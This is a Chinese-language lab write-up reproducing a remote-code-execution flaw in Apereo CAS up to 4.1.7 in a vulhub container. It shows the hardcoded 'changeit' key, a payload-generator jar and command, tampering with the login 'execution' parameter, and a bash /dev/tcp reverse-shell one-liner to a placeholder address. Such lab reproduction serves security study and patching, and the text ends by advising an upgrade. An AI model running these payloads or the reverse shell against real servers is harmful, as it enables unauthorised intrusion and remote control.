0x00 前言
--学如逆水行舟,不进则退
0x01 漏洞简介
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令
0x02 影响版本
Apereo CAS <= 4.1.7
0x03 漏洞原理
Webflow中使用了默认密钥changeit,如下
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
0x04 环境搭建
这里我们使用vulhub靶场搭建
cd /vulhub-master/apero-cas/4.1-rce //进去漏洞目录下
docker-compose up -d //启动漏洞环境
启动之后,访问ip:8080/cas/login ,出现一下页面,说明搭建成功
0x05 漏洞复现
这里我们需要使用到一个工具,用来生成paylaod
下载地址为:
https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
下载好之后,我们来使用以下命令生成payload(也就是我们要执行的命令)
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir qwe"
生成好payload之后,在ip:8080/cas/login页面抓包,如下图
抓包之后,发送到repeater模块中,进行修改数据包
注意:::我们要把包中execution参数改为我们刚才生成的payload,如下图
发包之后,在docker容器中查看命令是否执行成功
docker ps ///查看docker容器id
docker exec -it 容器id bash
发现我们之前创建文件夹的命令执行成功了
开始反弹shell
反弹shell之前需要先将反弹shell命令进行base64编码,编码网址为:
/bin/bash -i > /dev/tcp/xxx.xxx.xxx.xxx/1122 0<&1 2>&1
编码好之后,使用上面成功payload的工具再次生成payload
同样进行抓包,把execution参数改为反弹shell的payload,同时nc监听,如下图
反弹shell成功
0x06 漏洞修复
升级至最新版本